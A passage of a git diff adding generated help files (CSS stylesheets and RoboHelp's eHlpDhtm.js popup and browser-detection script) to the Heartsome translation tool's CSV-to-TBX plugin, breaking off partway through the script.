#000000; +} + +H6 /*begin!kadov{{*/ ,LI.kadov-H6 /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-weight: normal; + font-size: 10.0pt; + color: #000000; +} + +A:link { + x-text-underline: normal;/*begin!kadov{{*/ text-decoration: underline; /*}}end!kadov*/ + color: #0000ff; +} + +A:visited { + x-text-underline: normal;/*begin!kadov{{*/ text-decoration: underline; /*}}end!kadov*/ + color: #0000ff; +} + +A.expandspot { + color: #008000; + cursor: hand; + font-style: italic; + text-decoration: none; +} + +SPAN.expandtext { + font-style: italic; + font-weight: normal; + color: #ff0000; +} + +A.dropspot { + cursor: hand; + color: #008000; + font-style: italic; + text-decoration: none; +} + +A.glossterm { + color: #800000; + cursor: hand; + font-style: italic; + text-decoration: none; +} + +SPAN.glosstext { + font-style: italic; + font-weight: normal; + color: #0000ff; +} + +OL, UL { + margin-top: 0px; + margin-bottom: 0px; +} diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.ts.ui.plugin/help/csv2tbxdoc/en/default.css b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.ts.ui.plugin/help/csv2tbxdoc/en/default.css new file mode 100644 index 0000000..7c7e315 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.ts.ui.plugin/help/csv2tbxdoc/en/default.css @@ -0,0 +1,84 @@ +/*=(===============================================================)*/ + +/*=(===============================================================)*/ +/*=(Created with RoboEditor.)=======================================*/ +/*=(===============================================================)*/ + +BODY { + font-family: 'ËÎÌå'; + background-color: #ffffff; +} + +H1 /*begin!kadov{{*/ ,LI.kadov-H1 /*}}end!kadov*/ { + font-weight: bold; + font-size: 24.0pt; +} + +H2 /*begin!kadov{{*/ ,LI.kadov-H2 /*}}end!kadov*/ { + font-weight: bold; + font-size: 18.0pt; +} + +H3 /*begin!kadov{{*/ ,LI.kadov-H3 /*}}end!kadov*/ { + font-weight: bold; + font-size: 14.0pt; +} + +H4 /*begin!kadov{{*/ ,LI.kadov-H4 /*}}end!kadov*/ { + font-weight: bold; + font-size: 12.0pt; +} + +H5 /*begin!kadov{{*/ ,LI.kadov-H5 /*}}end!kadov*/ { + font-weight: bold; + font-size: 10.0pt; +} + +H6 /*begin!kadov{{*/ ,LI.kadov-H6 /*}}end!kadov*/ { + font-weight: bold; + font-size: 9.0pt; +} + +P /*begin!kadov{{*/ ,LI.kadov-P /*}}end!kadov*/ { + font-size: 12.0pt; + margin-top: 0pt; + margin-bottom: 0pt; +} + +A.expandspot { + color: #008000; + cursor: hand; + font-style: italic; + text-decoration: none; +} + +SPAN.expandtext { + font-style: italic; + font-weight: normal; + color: #ff0000; +} + +A.dropspot { + cursor: hand; + color: #008000; + font-style: italic; + text-decoration: none; +} + +A.glossterm { + color: #800000; + cursor: hand; + font-style: italic; + text-decoration: none; +} + +SPAN.glosstext { + font-style: italic; + font-weight: normal; + color: #0000ff; +} + +OL, UL { + margin-top: 0px; + margin-bottom: 0px; +} diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.ts.ui.plugin/help/csv2tbxdoc/en/eHlpDhtm.js b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.ts.ui.plugin/help/csv2tbxdoc/en/eHlpDhtm.js new file mode 100644 index 0000000..cc67acf --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.ts.ui.plugin/help/csv2tbxdoc/en/eHlpDhtm.js @@ -0,0 +1,4045 @@ +// eHelp® Corporation Dynamic HTML JavaScript +// Copyright© 1998-2001 eHelp® Corporation.All rights reserved. +// Version=4.66 + +// Warning:Do not modify this file.It is generated by RoboHELP® and changes will be overwritten. + +//// Segment Begin -- (JavaScript 1.0) + +/// Section Begin - General and relative topics(JavaScript 1.0) + +//{{HH_SYMBOL_SECTION +var HH_ChmFilename = "C:\\Project\\target\\csv2tbxdoc\\en\\TBXMaker.chm"; +var HH_WindowName = "NewWindow"; +var HH_GlossaryFont = ""; +var HH_Glossary = "0"; +var HH_Avenue = "0"; +var HH_ActiveX = false; +//}}HH_SYMBOL_SECTION + +//Begin to support previous generic parameters +//Get the information about the browser. +var gstrBsAgent = navigator.userAgent.toLowerCase(); +var gnBsVer = parseInt(navigator.appVersion); + +var gbBsIE = (gstrBsAgent.indexOf('msie') != -1); +var gbBsNS = (gstrBsAgent.indexOf('mozilla') != -1) && ((gstrBsAgent.indexOf('spoofer') == -1) && (gstrBsAgent.indexOf('compatible') == -1)); +var gbBsOpera = (gstrBsAgent.indexOf('opera') != -1); + +var gbBsIE3Before = ((gbBsIE) && (gnBsVer <= 2)); +var gbBsNS3Before = ((gbBsNS) && (gnBsVer <= 3)); + +var gbBsNS2 = ((gbBsNS) && (gnBsVer <= 2)); +var gbBsNS3 = ((gbBsNS) && (gnBsVer == 3)); +var gbBsIE300301 = ((gbBsIE) && (gnBsVer == 2) && ((gstrBsAgent.indexOf("3.00") != -1)||(gstrBsAgent.indexOf("3.0a") != -1)||(gstrBsAgent.indexOf("3.0b")!=-1)||(gstrBsAgent.indexOf("3.01")!=-1))); +var gbBsIE302 = ((gbBsIE) && (gnBsVer == 2) && (gstrBsAgent.indexOf("3.02") != -1)); + +var gbBsNS4 = ((gbBsNS) && (gnBsVer >= 4)); +var gbBsNS6 = ((gbBsNS) && (gnBsVer >= 5)); + +var gbBsIE4 = ((gbBsIE) && (gnBsVer >= 4)); +var gbBsIE5 = false; +var gbBsIE55 = false; + +gbBsIE = (navigator.appName.indexOf("Microsoft") != -1); + +if (parseInt(navigator.appVersion) >= 4) { + gbBsIE4 = (navigator.appName.indexOf("Microsoft") != -1); + + if (gbBsIE4) { + var nPos = gstrBsAgent.indexOf("msie"); + var strIEversion = gstrBsAgent.substring(nPos + 5); + var nVersion = parseFloat(strIEversion); + if (nVersion >= 5) + gbBsIE5 = true; + if (nVersion >= 5.5) + gbBsIE55 = true; + } +} + +var gbBsMac = (gstrBsAgent.indexOf('mac') != -1); +var gbBsWindows = ((gstrBsAgent.indexOf('win') != -1) || (gstrBsAgent.indexOf('16bit') != -1)); +var gbBsOp3 = (gstrBsAgent.indexOf('opera') != -1); + +// Utilities functions. +function BsscHasExtJs() +{ + if( gbBsIE3Before || gbBsNS3Before) + return false; + return true; +} + +// Register event handler +var gBsOnLoads = new Array(); // An array holds all the onload event handler. +var gBsOnClicks = new Array(); // An array holds all the onClick event handler. +var gBsOnUnLoads = new Array(); // An array holds all the OnUnLoad event handler. +var gBsOnMouseOvers = new Array(); // An array holds all the OnMouseOver event handler. +var gBsOnMouseOuts = new Array(); // An array holds all the OnMouseOut event handler. + +var gbOrignalOnMouseDown = null; + +function BsscRegisterOnLoad(funcHandler) +{ + var nLength = gBsOnLoads.length; + gBsOnLoads[nLength] = funcHandler; +} + +function BsscRegisterOnClick(funcHandler) +{ + var nLength = gBsOnClicks.length; + gBsOnClicks[nLength] = funcHandler; +} + +function BsscRegisterOnUnLoad(funcHandler) +{ + var nLength = gBsOnUnLoads.length; + gBsOnUnLoads[nLength] = funcHandler; +} + +function BsscRegisterOnMouseOver(funcHandler) +{ + var nLength = gBsOnMouseOvers.length; + gBsOnMouseOvers[nLength] = funcHandler; +} + +function BsscRegisterOnMouseOut(funcHandler) +{ + var nLength = gBsOnMouseOuts.length; + gBsOnMouseOuts[nLength] = funcHandler; +} + + +function BsGeneralOnLoad() +{ + if (!gbBsIE4 && !gbBsNS4) + return; + + // Make everything visible in navigator + if (gbBsNS4 && !gbBsNS6) { + // Make some special effects items visible + for (var iLayer = 0; iLayer < document.layers.length; iLayer++) { + document.layers[iLayer].visibility = "show"; + document.layers[iLayer].left = 0; + } + } +} + +// If resize the netscape browser, need to reload it. +function BsReDo() +{ + if (innerWidth != origWidth || innerHeight != origHeight) + location.reload(); +} +// End of the local functions. + +// The following functions are used by the html files. +function BSSCOnLoad() +{ + if( !BsscHasExtJs() ) + return; + for (var nElement = gBsOnLoads.length - 1; nElement >= 0; nElement--) + gBsOnLoads[nElement](); +} + +function BSSCOnClick() +{ + if (!BsscHasExtJs()) return; + + for (var nElement = gBsOnClicks.length - 1; nElement >= 0; nElement--) + gBsOnClicks[nElement](); +} + +function BSSCOnUnload() +{ + if (!BsscHasExtJs()) return; + for (var nElement = gBsOnUnLoads.length - 1; nElement >= 0; nElement--) + { + gBsOnUnLoads[nElement](); + } +} + +function BSSCOnMouseOver() +{ + if (!BsscHasExtJs()) return; + for (var nElement = gBsOnMouseOvers.length - 1; nElement >= 0; nElement--) + { + gBsOnMouseOvers[nElement](); + } +} + +function BSSCOnMouseOut() +{ + if (!BsscHasExtJs()) return; + for (var nElement = gBsOnMouseOuts.length - 1; nElement >= 0; nElement--) + { + gBsOnMouseOuts[nElement](); + } +} +// End of invocation of the event handle functions. + + +// Add the GereralOnLoad to the onload array. +if (typeof(BsscRegisterOnLoad) != "undefined") +{ + BsscRegisterOnLoad(BsGeneralOnLoad); +} +if (gbBsNS4&&!gbBsNS6) { + origWidth = innerWidth; + origHeight = innerHeight; + onresize = BsReDo; +} +//End to support previous generic parameters + +//Begin to support previous HHActiveX invoking +function BsHHActivateComponents() +{ + if( HH_ActiveX && (HH_ChmFilename != "") && ((self == top) || (self == top.frames[0]))) + { + var objBody = document.all.tags("BODY")[0]; + if( typeof(objBody) == "object" ) + { + objBody.insertAdjacentHTML("beforeEnd", ''); + if (HHComponentActivator.object) + HHComponentActivator.Activate(HH_ChmFilename, HH_WindowName, HH_GlossaryFont, HH_Glossary, HH_Avenue); + } + } +} + +function BsHHActivXOnLoad() +{ + if( gbBsIE4 ) + BsHHActivateComponents(); +} + +if( typeof(BsscRegisterOnLoad) != "undefined" ) +{ + BsscRegisterOnLoad(BsHHActivXOnLoad); +} +//End to support previous HHActiveX invoking + +//Begin to support previous relative topics +//If webHelp needs Related Topics DHTMLcode, it's supposed to add it here +var gbPopupMenuTimeoutExpired = false; +var gbInPopupMenu = false; +var gbPopupMenuTopicList = null; +var gOlddocumentClick = null; + +////////////////////////////////////////////////////////////////////////////////////////// +// +// Popup Menu code +// +////////////////////////////////////////////////////////////////////////////////////////// + +var g_bIsPopupMenuInit = false; +function _WritePopupMenuLayer() +{ + if (!g_bIsPopupMenuInit) + { + if (gbBsNS4) { +//Do not try to write ininle styles for NS! NS can not handle it and will not stop downloading the html page... + if (gbBsNS6) + document.write(""); + else + document.write("
    "); + } else{ + document.write(""); + if (gbBsIE4) { + document.write(""); + } + } + g_bIsPopupMenuInit = true; + } +} + +//Define variable arguments as: strTitle, strUrl +function MTE() +{ + this.strTitle = MTE.arguments[0]; + if (MTE.arguments.length > 1) + this.strURL = MTE.arguments[1]; + else + this.strURL = this.strTitle; +} + +// If the topic list is set, it is an array of TopicEntry objects (defined in WebHelp3.js) +function PopupMenu_SetTopicList(aPopupTopicArray) +{ + gbPopupMenuTopicList = aPopupTopicArray; +} + + +//Seek for the bsscright frame +function _SeekFrameByName( cRoot, strName ) +{ + if( cRoot == null ) return null; + if( cRoot.frames == null ) return null; + if( cRoot.frames[strName] != null ) return cRoot.frames[strName]; + for (var i=0; i"); + wndPopupLinks.document.write(""); + var strParaLine = ""; + for (var i = 0; i < (argLen - 2) / 2; i++) { + strParaLine = ""; + strParaLine += ""); + wndPopupLinks.document.close(); + window.gbInPopupMenu = true; + if (!gbBsIE) { + wndPopupLinks.focus(); + } + + return false; + } + + + if (((argLen < 5) && ((isNaN(fn_arguments[2])) || (gbPopupMenuTopicList == null))) || + ((argLen < 4) && ((!isNaN(fn_arguments[2])) && (gbPopupMenuTopicList != null)))) { + // Get the place that we will be putting the topic into + var strURL = ""; + if (isNaN(fn_arguments[2]) || (gbPopupMenuTopicList == null)) { + strURL = fn_arguments[3]; + } + else { + strURL = gbPopupMenuTopicList[fn_arguments[2]].strURL; + } + + if (targetDoc != null) { + targetDoc.location.href = strURL; + } + else { + if (fn_arguments[1] != null && typeof(fn_arguments[1]) != "undefined") + window.open(strURL, fn_arguments[1]); + else + window.open(strURL); + } + window.gbInPopupMenu = true; + return false; + } + + var strMenu = ""; + if (gbBsNS4) { + strMenu = ''; + } else { + strMenu = '
    '; + } else { + strMenu += '' + gbPopupMenuTopicList[fn_arguments[i]].strTitle + ''; + } + strMenu += ''; + + if (isNaN(fn_arguments[i]) || (gbPopupMenuTopicList == null)) { + i += 2; + } else { + i += 1; + } + } + strMenu += "
    "; + + if (gbBsMac) { + // totally hack. because ie5 in mac need something. is one of them. mac is mad. + strMenu +="
    "; + } + + var layerPopup = null; + var stylePopup = null; + var nEventX = 0; + var nEventY = 0; + var nWindowWidth = 0; + if (gbBsIE4) { + + layerPopup = document.all["PopupMenu"]; + layerPopup.innerHTML = strMenu; + stylePopup = layerPopup.style; + + _BSPSGetClientSize(); + + // Get the position of the item causing the event (relative to its parent) + nEventX = window.event.clientX; + nEventY = window.event.clientY; + + if (nEventY + layerPopup.scrollHeight + 10 < gBsClientHeight) { + nEventY += document.body.scrollTop + 10; + } else { + nEventY = (document.body.scrollTop + gBsClientHeight) - layerPopup.scrollHeight - 20; + } + stylePopup.top = nEventY; + + var nPopupWidth = layerPopup.scrollWidth; + if (gbBsMac) { + nPopupWidth = 80; // we have no idea how to get the dynamic width of the popup. + } + if (nEventX + nPopupWidth + 20 > gBsClientWidth) { + if (gBsClientWidth - nPopupWidth < 5) { + stylePopup.left = 5; + } else { + stylePopup.left = gBsClientWidth - nPopupWidth - 5; + } + } else { + stylePopup.left = nEventX + document.body.scrollLeft + 20; + } + + stylePopup.visibility = "visible"; + if (!gOlddocumentClick && document.onclick) + gOlddocumentClick = document.onclick; + document.onclick = PopupMenu_HandleClick; + + } else if (gbBsNS6) { + layerPopup = document.getElementById("PopupMenu"); + layerPopup.style.visibility = "hidden"; + + var e = fn_arguments[0]; + nEventX = e.pageX; + nEventY = e.pageY; + _BSPSGetClientSize(); + layerPopup.innerHTML = strMenu; + + if (nEventY + layerPopup.offsetHeight + 20 < window.pageYOffset + gBsClientHeight) { + nEventY += 20; + } else { + nEventY = gBsClientHeight + window.pageYOffset - layerPopup.offsetHeight - 20; + } + + if (nEventX + layerPopup.offsetWidth + 20 > gBsClientWidth + window.pageXOffset) { + if (gBsClientWidth + window.pageXOffset - layerPopup.offsetWidth < 20) { + nEventX = 5; + } else { + nEventX = gBsClientWidth + window.pageXOffset - layerPopup.offsetWidth - 20; + } + } else { + nEventX += 20; + } + layerPopup.style.top = nEventY; + layerPopup.style.left = nEventX; + // set again to avoid the stupid frash in netscape 6. + layerPopup.innerHTML = strMenu; + layerPopup.style.visibility = "visible"; + //window.captureEvents(Event.MOUSEDOWN); + if (!gOlddocumentClick && document.onclick) + gOlddocumentClick = document.onclick; + window.onclick = PopupMenu_HandleClick; + } + else if (gbBsNS4) { + layerPopup = document.layers.PopupMenu; + layerPopup.visibility = "hide"; + stylePopup = layerPopup.document; + stylePopup.write(strMenu); + stylePopup.close(); + var e = fn_arguments[0]; + nEventX = e.pageX; + nEventY = e.pageY; + _BSPSGetClientSize(); + if (nEventY + layerPopup.clip.height + 20 < window.pageYOffset + gBsClientHeight) { + nEventY += 20; + } else { + nEventY = gBsClientHeight + window.pageYOffset- layerPopup.clip.height - 20; + } + layerPopup.top = nEventY; + + if (nEventX + layerPopup.clip.width + 20 > gBsClientWidth + window.pageXOffset) { + if (gBsClientWidth + window.pageXOffset - layerPopup.clip.width < 20) { + nEventX = 5; + } else { + nEventX = gBsClientWidth + window.pageXOffset - layerPopup.clip.width - 20; + } + } else { + nEventX += 20; + } + + layerPopup.left = nEventX; + + layerPopup.visibility = "show"; + + window.captureEvents(Event.MOUSEDOWN); + if (!gOlddocumentClick && document.onmousedown) + gOlddocumentClick = document.onmousedown; + window.onmousedown = PopupMenu_HandleClick; + } + + window.gbInPopupMenu = true; + window.gbPopupMenuTimeoutExpired = false; + setTimeout("PopupMenu_Timeout();", 100); + return false; +} + + +function PopupMenu_Timeout() +{ + window.gbPopupMenuTimeoutExpired = true; +} + +function PopupMenu_Over(e) +{ + if (gbBsIE4) { + e.srcElement.className = "PopupOver"; + } else if (gbBsNS4) { +// this.bgColor = "red"; +// e.target.document.className = "PopupOver"; + } + return; +} + +function PopupMenu_Out(e) +{ + if (gbBsIE4) { + e.srcElement.className = "PopupNotOver"; + } else if (gbBsNS4) { + this.bgColor = "#f0f0f0"; + } + return; +} + + +function PopupMenu_HandleClick(e) +{ + if (window.gbPopupMenuTimeoutExpired) { + + window.gbInPopupMenu = false; + + if (gbBsNS4 && !gbBsNS6) { + window.releaseEvents(Event.MOUSEDOWN); + } + + var layerPopup = null; + var stylePopup = null; + if (gbBsIE4) { + layerPopup = document.all["PopupMenu"]; + stylePopup = layerPopup.style; + stylePopup.visibility = "hidden"; + } else if (gbBsNS6) { + layerPopup = document.getElementById("PopupMenu"); + layerPopup.style.visibility = "hidden"; + } else if (gbBsNS4) { + layerPopup = document.layers.PopupMenu; + layerPopup.visibility = "hide"; + } + + if (gOlddocumentClick) + { + if (gbBsNS4 && !gbBsNS6) + document.onmousedown = gOlddocumentClick; + else + document.onclick = gOlddocumentClick; + } + } + return; +} + +// This function should be deleted when all old projects are cleaned up +function BSPSWritePopupFrameForIE4() +{ + return false; +} + +///////////////////////////////////////////////////////////////////// +function BSSCPopup_ClickMac() +{ + if ((!DHTMLPopupSupport()) && (gbBsIE4)) + { + var bClickOnAnchor = false; + var el; + if ((window.event != null) && + (window.event.srcElement != null)) + { + el = window.event.srcElement; + while (el != null) + { + if ((el.tagName == "A") || (el.tagName == "AREA")) { + bClickOnAnchor = true; + break; + } + if (el.tagName == "BODY") { + break; + } + el = el.parentElement; + } + } + if (BSSCPopup_IsPopup()) + { + if (!bClickOnAnchor) { + parent.window.gPopupWindow = null; + self.close(); + } + } + else + { + bClosePopupWindow = true; + if ((bClickOnAnchor) && + (el.href) && + ((el.href.indexOf("javascript:BSSCPopup") != -1) || (el.href.indexOf("javascript:null") != -1) || (el.href.indexOf("javascript:void(0)") != -1))) + { + bClosePopupWindow = false; + } + if (bClosePopupWindow) + { + if (window.gPopupWindow != null && !window.gPopupWindow.closed ) + { + window.gPopupWindow.close(); + } + } + } + } + } + +////////////////////////////////////////////////////////////////////// + +function BsPopupOnClick() +{ + if (!gbBsIE4) + return; + + BSSCPopup_ClickMac(); +} + +function _BSSCOnError(message) +{ + if(-1 != message.indexOf("denied") + || -1 != message.indexOf("Object required")) + return true; +} + +//End to support previous relative topics + + +/// Section End - General and relative topics (JavaScript 1.0) + +/// Section Begin - Popup (JavaScript 1.0) + +//Begin to support previous popup functions +////////////////////////////////////////////////////////////////////////////////////////////// +// +// Begin DHTML Popup Functions +// +////////////////////////////////////////////////////////////////////////////////////////////// +//variables used to isolate the browser type +var gBsDoc = null; +var gBsSty = null; +var gBsHtm = null; +var gBsStyVisShow = null; +var gBsStyVisHide = null; +var gBsClientWidth = 640; +var gBsClientHeight = 480; +var gBsBrowser = null; + +// here is the varible for judge popup windows size. these parameter is for IE5.0, it may need adjust for others. +var gBRateH_W = 0.618; // 1.618 Golden cut. +var gBMaxXOfParent = 0.8; +var gBMaxYOfParent = 0.8; +var gBscrollHeight = 16; +var gBscrollWidth = 16; +var gBpermitXDelta = 3; +var gBpermitYDelta = 3; + + +var arrayPopupURL = new Array(); +var arrayAbsPopupURL = new Array(); + +var arrayDirty = new Array(); + +function setAbsPopupURL(nIndex, strURL) +{ + arrayAbsPopupURL[nIndex] = strURL; +} + +function getAbsPopupURL(nIndex) +{ + if (nIndex == -1 || arrayAbsPopupURL.length <= nIndex) return null; + else + return arrayAbsPopupURL[nIndex]; +} + +function getPopupURL(nIndex) +{ + if (nIndex == -1 || arrayPopupURL.length <= nIndex) return null; + else + return arrayPopupURL[nIndex]; +} + +function getPopupID(nIndex) +{ + return gstrPopupID + nIndex; +} + +function getPopupShadowID(nIndex) +{ + return gstrPopupShadowID + nIndex; +} + +function getPopupTopicID(nIndex) +{ + return gstrPopupTopicID + nIndex; +} + +function getPopupIFrameID(nIndex) +{ + return gstrPopupIFrameID + nIndex; +} + +function getPopupIFrameName(nIndex) +{ + return gstrPopupIFrameName + nIndex; +} + + +function getPopupTopicStyle(nIndex) +{ + return eval("document.all['" + getPopupTopicID(nIndex) + "']").style; +} + +function getPopupShadowStyle(nIndex) +{ + return eval("document.all['" + getPopupShadowID(nIndex) + "']").style; +} + +function getPopupIFrame(nIndex) +{ + + return eval("document.frames['" + getPopupIFrameName(nIndex) + "']"); +} + +function getPopupDivStyle(nIndex) +{ + return eval("document.all['" + getPopupID(nIndex) + "']").style; +} + +function getPopupIFrameStyle(nIndex) +{ + return eval("document.all['" + getPopupIFrameName(nIndex) + "'].style"); +} + + +function findDiv(strURL) +{ + var i = 0; + for (i = 0; i < arrayPopupURL.length; i ++ ) { + if (arrayPopupURL[i] == strURL) { + return i; + } + } + return -1; +} + +var gnToken = -1; +function takeToken() +{ + gnToken ++; + if (gnToken > 10000) gnToken = 0; + return gnToken; +} + +function IsValidToken(nToken) +{ + return (gnToken == nToken); +} + +function addDiv(strURL) +{ + var i = 0; + for (i = 0; i < arrayPopupURL.length; i ++) { + if (arrayPopupURL[i] == null) { + arrayPopupURL[i] = strURL; + return i; + } + } + arrayPopupURL[i] = strURL; + arrayDirty[i] = true; + return i; +} + +function setDirty() +{ + var i = 0; + for (i = 0; i < arrayPopupURL.length; i ++ ) + arrayDirty[i] = true; +} + +function IsDirty(nIndex) +{ + if (nIndex == -1) + return true; + else + if (arrayDirty.length > nIndex) + return arrayDirty[nIndex]; + else + return true; +} + +function hideAll() +{ + var i = 0; + for (i = 0; i < arrayPopupURL.length; i ++ ) + getPopupDivStyle(i).visibility = gBsStyVisHide; +} + +function getCurrentPopupIFrame() +{ + var i = 0; + for (i = 0; i < arrayPopupURL.length; i ++) + if (getPopupDivStyle(i).visibility == gBsStyVisShow) + return getPopupIFrame(i); + return null; +} + +function setClear(nIndex) +{ + if (nIndex != -1) + arrayDirty[nIndex] = false; +} + +function _BSSCCreatePopupDiv(strURL) +{ + var nIndex = findDiv(strURL); + if (nIndex == -1 ) { + nIndex = addDiv(strURL); + BsPopup_CreateDiv(nIndex); + } + else { + if (IsDirty(nIndex)) { + if("object" == typeof(getPopupIFrame(nIndex).document)) + getPopupIFrame(nIndex).document.location.href = strURL; + } + } + return nIndex; + +} + +//the browser information itself +function _BSPSBrowserItself() +{ + var agent = navigator.userAgent.toLowerCase(); + this.major = parseInt(navigator.appVersion); + this.minor = parseFloat(navigator.appVersion); + this.ns = ((agent.indexOf('mozilla') != -1) && ((agent.indexOf('spoofer') == -1) && (agent.indexOf('compatible') == -1))); + this.ns2 = ((this.ns) && (this.major == 2)); + this.ns3 = ((this.ns) && (this.major == 3)); + this.ns4 = ((this.ns) && (this.major >= 4)); + this.ns6 = ((this.ns) && (this.major >= 5)); + this.ie = (agent.indexOf("msie") != -1); + this.ie3 = ((this.ie) && (this.major == 2)); + this.ie4 = ((this.ie) && (this.major >= 4)); + this.op3 = (agent.indexOf("opera") != -1); + + if (this.ns4) + { + gBsDoc = "document"; + gBsSty = ""; + gBsHtm = ".document"; + gBsStyVisShow = "show"; + gBsStyVisHide = "hide"; + + } + else if (this.ie4) + { + gBsDoc = "document.all"; + gBsSty = ".style"; + gBsHtm = ""; + gBsStyVisShow = "visible"; + gBsStyVisHide = "hidden"; + } +} + +//Here is the browser type +function _BSPSGetBrowserInfo() +{ + gBsBrowser = new _BSPSBrowserItself(); +} + +_BSPSGetBrowserInfo(); + +//Get client size info +function _BSPSGetClientSize() +{ + if (gBsBrowser.ns4) + { + gBsClientWidth = innerWidth; + gBsClientHeight = innerHeight; + + } + else if (gBsBrowser.ie4) + { + gBsClientWidth = document.body.clientWidth; + gBsClientHeight = document.body.clientHeight; + } +} + + +var gstrPopupID = 'BSSCPopup'; +var gstrPopupShadowID = 'BSSCPopupShadow'; +var gstrPopupTopicID = 'BSSCPopupTopic'; +var gstrPopupIFrameID = 'BSSCPopupIFrame'; +var gstrPopupIFrameName = 'BSSCPopupIFrameName'; + +var gstrPopupSecondWindowName = 'BSSCPopup'; + +var gPopupWindow = null; +var gnPopupClickX = 0; +var gnPopupClickY = 0; + +var gnPopupScreenClickX = 0; +var gnPopupScreenClickY = 0; + +var gbPopupTimeoutExpired = false; + + +function DHTMLPopupSupport() +{ + if ((gbBsIE4) && (!gbBsMac)) { + return true; + } + return false; +} + + + +function BSSCPopup_IsPopup() +{ + if (DHTMLPopupSupport() && (this.name.indexOf(gstrPopupIFrameName) != -1)) { + return true; + } else if ((gbBsNS4 || gbBsIE4) && (this.name.indexOf(gstrPopupID) != -1)) { + return true; + } else { + return false; + } +} + + +// If there is a hyperlink in a popup window, display the hyperlink in +// the original window. (bsscright) +if (BSSCPopup_IsPopup() && !gbBsIE4) { + document.write(""); +} + +// Local functions. +function BsPopup_CreateDiv(nIndex) +{ + if(!DHTMLPopupSupport()) + return; + // DO NOT SET Width and height for the div, otherwize it will make IE4 popup do not work when view the topic alone. + var strPopupDiv = ""; + + var objBody = document.all.tags("BODY")[0]; + if( typeof(objBody) != "object" ) + return; + + objBody.insertAdjacentHTML("beforeEnd", strPopupDiv); +} + +function BSSCPopup_Timeout(nIndex, nToken) +{ + if (!IsValidToken(nToken)) return; + + if ((getPopupIFrame(nIndex).document.readyState == "complete") && + (getPopupIFrame(nIndex).document.body != null)) { + window.getPopupDivStyle(nIndex).visibility = gBsStyVisShow; + setClear(nIndex); + window.gbPopupTimeoutExpired = true; + + BSSCPopup_ChangeTargettoParent(getPopupIFrame(nIndex).document); + getPopupIFrame(nIndex).document.body.onclick = BSSCPopupClicked; + + if (!gbOrignalOnMouseDown && document.onmousedown) + gbOrignalOnMouseDown = document.onmousedown; + + document.onmousedown = BSSCPopupParentClicked; + + } else { + setTimeout("BSSCPopup_Timeout(" + nIndex + "," + nToken + ")", 100); + } +} + + +// VH 08/10/00 +// do not change target to parent if the href is using javascript +function BSSCPopup_ChangeTargettoParent(tagsObject) +{ + var collA = tagsObject.all.tags("A"); + BSSCPopup_ChangeTargettoParent2(collA); + + var collIMG = tagsObject.all.tags("IMG"); + BSSCPopup_ChangeTargettoParent2(collIMG); +} + +function BSSCPopup_ChangeTargettoParent2(colls) +{ + var j = 0; + if (colls != null) { + for (j = 0; j < colls.length; j ++ ) + { + var strtemp = colls[j].href; + strtemp = strtemp.toLowerCase(); + if (strtemp.indexOf("javascript:") == -1) + if (colls[j].target == "") + colls[j].target = "_parent"; + } + + } +} + +function BSPSPopupTopicWinHelp(strURL) +{ + _BSSCPopup(strURL); + return; +} + +function _BSSCPopup(strURL, width, height) +{ + var cuswidth = 0; + var cusheight = 0; + if ("undefined" != typeof(width) && "undefined" != typeof(height)) { + cuswidth = width; + cusheight= height; + } + + if (DHTMLPopupSupport()) { + // If we are already in a popup, replace the contents + // if (BSSCPopup_IsPopup()) { + // parent._BSSCPopup(strURL, cuswidth, cusheight); + // } else { + var nToken = takeToken(); // take token first. + var nIndex = _BSSCCreatePopupDiv(strURL); + window.gbPopupTimeoutExpired = false; + var ntWidth = gBsClientWidth; + var ntHeight = gBsClientHeight; + _BSPSGetClientSize(); + if (ntWidth != gBsClientWidth || ntHeight != gBsClientHeight) { + setDirty(); + } + + + if (IsDirty(nIndex)) { + if (gbBsMac) { + setTimeout("BSSCPopup_AfterLoad(" + nIndex + "," + nToken + "," + cuswidth + "," + cusheight +")", 400); + } else { + setTimeout("BSSCPopup_AfterLoad(" + nIndex + "," + nToken + "," + cuswidth + "," + cusheight + ")", 100); + } + } + else { + MoveDivAndShow(nIndex ,nToken, cuswidth, cusheight); + } + // } + + } else { + _BSSCPopup2(strURL, cuswidth, cusheight); + } + return; +} + +if (gbBsIE55) +{ + var ehlpdhtm_fOldBefureUnload = window.onbeforeunload; + window.onbeforeunload = window_BUnload; +} + +function window_BUnload() +{ + for (var i = 0; i < arrayPopupURL.length; i ++) + document.all(getPopupID(i)).outerHTML = ""; + arrayPopupURL.length = 0; + if (ehlpdhtm_fOldBefureUnload) + ehlpdhtm_fOldBefureUnload(); +} + +function _BSSCPopup2(strURL, width, height) +{ + if (window.name == gstrPopupSecondWindowName) { + window.location = strURL; + } else { + if (!gbBsMac || !gBsBrowser.ns4) { + BSSCHidePopupWindow(); + } + var nX = 0; + var nY = 0; + var nHeight = 300; + var nWidth = 400; + if (width > 0 && height > 0) { + nHeight = height; + nWidth = width; + } + _BSPSGetClientSize(); + + nX = window.gnPopupScreenClickX; + nY = window.gnPopupScreenClickY; + + if (nY + nHeight + 40 > screen.availHeight) { + nY = screen.availHeight - nHeight - 40; + } + if (nX + nWidth + 40 > screen.availWidth) { + nX = screen.availWidth - nWidth - 40; + } + // Launch a separate window + var strParam = "titlebar=no,toolbar=no,status=no,location=no,menubar=no,resizable=yes,scrollbars=yes"; + if (gBsBrowser.ns) { + if (gBsBrowser.ns6) { + strParam += ",Height=" + nHeight + ",Width=" + nWidth; + strParam += ",screenX=" + nX + ",screenY=" + nY; + strParam += ",dependent=yes"; + } + else { + strParam += ",OuterHeight=" + nHeight + ",OuterWidth=" + nWidth; + strParam += ",screenX=" + nX + ",screenY=" + nY; + strParam += ",dependent=yes"; + } + } + else { + strParam += ",height=" + nHeight + ",width=" + nWidth; + strParam += ",left=" + nX + ",top=" + nY; + } + window.gPopupWindow = window.open(strURL, gstrPopupSecondWindowName, strParam); + + if (gBsBrowser.ns4) + setEventHandle(); + else if (gBsBrowser.ie4) + setTimeout("setPopupFocus();", 100); + } + return; +} + +function setEventHandle() +{ + window.gPopupWindow.captureEvents(Event.CLICK | Event.BLUE); + window.gPopupWindow.onclick = NonIEPopup_HandleClick; + 